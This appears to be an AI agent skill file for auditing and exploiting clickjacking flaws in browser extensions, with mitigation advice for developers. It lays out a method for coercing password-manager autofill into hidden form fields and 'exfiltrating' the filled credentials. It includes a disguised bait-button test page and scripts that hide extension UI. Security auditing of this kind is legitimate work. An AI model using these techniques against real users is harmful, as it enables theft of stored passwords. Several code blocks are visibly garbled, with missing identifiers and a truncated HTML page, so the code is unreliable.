| name | browser-extension-clickjacking |
| description | Analyze browser extensions for clickjacking vulnerabilities. Use this skill whenever you need to audit browser extensions (Chrome, Firefox, Edge) for security issues, review manifest.json files, test web_accessible_resources configurations, or investigate extension-based attacks. Trigger this skill for any pentesting task involving browser extensions, Chrome extensions, Firefox add-ons, or when analyzing extension security, even if the user doesn't explicitly mention 'clickjacking' or 'vulnerability'. |
Browser Extension Clickjacking Analysis
A skill for identifying and exploiting clickjacking vulnerabilities in browser extensions during security assessments.
When to Use This Skill
Use this skill when:
- Auditing browser extensions for security vulnerabilities
- Reviewing
manifest.json files for misconfigurations
- Testing
web_accessible_resources exposure
- Investigating extension-based attack vectors
- Analyzing password manager or autofill extension security
- Performing browser extension penetration testing
Core Concepts
What is Extension Clickjacking?
Extension clickjacking abuses misconfigured web_accessible_resources to embed privileged extension UI in iframes on attacker-controlled pages. Users are tricked into clicking hidden extension controls, performing unintended actions with the extension's elevated privileges.
The Vulnerability Chain
- Extension declares resources in
web_accessible_resources
- Resources become accessible via
chrome-extension://[ID]/[PATH]
- Attacker embeds these resources in iframes on malicious pages
- User clicks on overlayed UI, triggering hidden extension actions
- Privileged operations execute without user awareness
Attack Methodologies
Method 1: Classic web_accessible_resources Clickjacking
What to look for:
- HTML files in
web_accessible_resources (especially *.html, popup.html, skin/*)
- JavaScript files with UI manipulation capabilities
- Resources that can change extension state
Detection steps:
-
Extract and review manifest.json:
unzip -p extension.crx manifest.json | jq .
cat extension/manifest.json | jq .
-
Identify risky web_accessible_resources entries:
"skin/*" - often contains HTML UI
"icons/*" - usually safe but verify
"*.html" - high risk if interactive
"popup.html" - critical risk
"inpage.js" - medium risk
-
Test accessibility:
<iframe src="chrome-extension://[EXTENSION_ID]/[RESOURCE_PATH]" style="opacity:0.01; position:absolute;"></iframe>
-
Attempt to trigger actions by overlaying clickable elements
Method 2: DOM-based Extension Clickjacking
Targets password manager autofill UIs injected directly into page DOM.
Attack flow:
- Inject invisible but focusable form fields
- Focus input to trigger extension's autofill dropdown
- Hide/occlude extension UI while keeping it clickable
- Align believable control under hidden dropdown
- Coerce click to select stored credential
- Exfiltrate filled values
Detection techniques:
const extensionElements = Array.from(document.querySelectorAll('*'))
.filter(el => {
const tag = el.tagName.toLowerCase();
return tag.includes('pass') || tag.includes('auth') || tag.includes('vault');
});
const shadowRoots = Array.from(document.querySelectorAll('*'))
.filter(el => el.shadowRoot);
const observer = new MutationObserver((mutations) => {
mutations.forEach(mutation => {
if (mutation.type === 'attributes' &&
(mutation.attributeName === 'style' || mutation.attributeName === 'class')) {
console.log('Style change detected:', mutation.);
}
});
});
Practical Exploitation
Step 1: Enumerate Extension Resources
python3 -c "
import zipfile
import json
with zipfile.ZipFile('extension.crx', 'r') as crx:
manifest = json.loads(crx.read('manifest.json'))
print('Extension ID:', manifest.get('name'))
print('Version:', manifest.get('version'))
print('Permissions:', manifest.get('permissions', []))
print('Web Accessible Resources:', manifest.get('web_accessible_resources', []))
"
Step 2: Identify Extension ID
chrome.management.getAll((extensions) => {
extensions.forEach(ext => {
console.log(`${ext.name}: ${ext.id}`);
});
});
Step 3: Build Clickjacking Test Page
<!DOCTYPE html>
<html>
<head>
<style>
.overlay {
position: absolute;
top: 100px;
left: 100px;
z-index: 9999;
}
.hidden-iframe {
position: absolute;
top: 100px;
left: 100px;
opacity: 0.01;
pointer-events: none;
}
.bait-button {
position: absolute;
top: 168px;
left: 100px;
padding: 10px 20px;
background: #007bff;
color: white;
border: none;
cursor: pointer;
}
</style>
</head>
<body>
<h1>Click the button below</h1>
<div class="overlay">
<button =>Click Me
Step 4: Test DOM-based Autofill Clickjacking
function createHiddenForm() {
const form = document.createElement('form');
form.id = 'hidden-form';
form.style.cssText = 'opacity:0.001; position:absolute; top:-1000px;';
const input = document.createElement('input');
input.type = 'text';
input.id = 'username';
input.name = 'username';
input.autocomplete = 'username';
form.appendChild(input);
document.body.appendChild(form);
setTimeout(() => input.focus(), 500);
input.addEventListener('input', (e) => {
console.log('Autofill detected:', e.target.value);
});
}
function hideExtensionUI() {
root = .();
(root) {
root.. = ;
root.. = ;
}
.(.())
.( {
(el.) {
iframe = el..();
(iframe) {
iframe.. += ;
}
}
});
}
Common Vulnerable Patterns
High-Risk web_accessible_resources
| Pattern | Risk | Example Impact |
|---|
"skin/*" | Critical | PrivacyBadger disable button |
"*.html" | Critical | Any HTML UI exposure |
"popup.html" | Critical | Extension popup actions |
"inpage.js" | High | DOM manipulation |
"phishing.html" | Critical | Whitelist bypass |
"icons/*" | Low | Usually safe |
"*.css" | Low | Usually safe |
Known Vulnerable Extensions (Historical)
- PrivacyBadger:
skin/* exposed popup.html
- Metamask:
inpage.js, phishing.html exposed
- Steam Inventory Helper: XSS + Clickjacking chain
Mitigation Recommendations
For Extension Developers
-
Minimize web_accessible_resources
"web_accessible_resources": ["*/*"]
"web_accessible_resources": [
{
"resources": ["icons/*.png"],
"matches": ["<all_urls>"]
}
]
-
Use frame-ancestors CSP
"web_accessible_resources": [
{
"resources": ["popup.html"],
"matches": ["<all_urls>"],
"use_dynamic_url": true
}
]
Serve with: Content-Security-Policy: frame-ancestors 'none'
-
Render in Top Layer
- Use Popover API for autofill UI
- Ensure UI sits above page stacking context
-
For Security Auditors
- Always review
manifest.json for web_accessible_resources
- Test each exposed resource for iframe embedding
- Check for HTML/JS resources that can change state
- Test password manager extensions for DOM-based clickjacking
- Verify CSP headers on exposed resources
- Check for proper
X-Frame-Options headers
Testing Checklist
References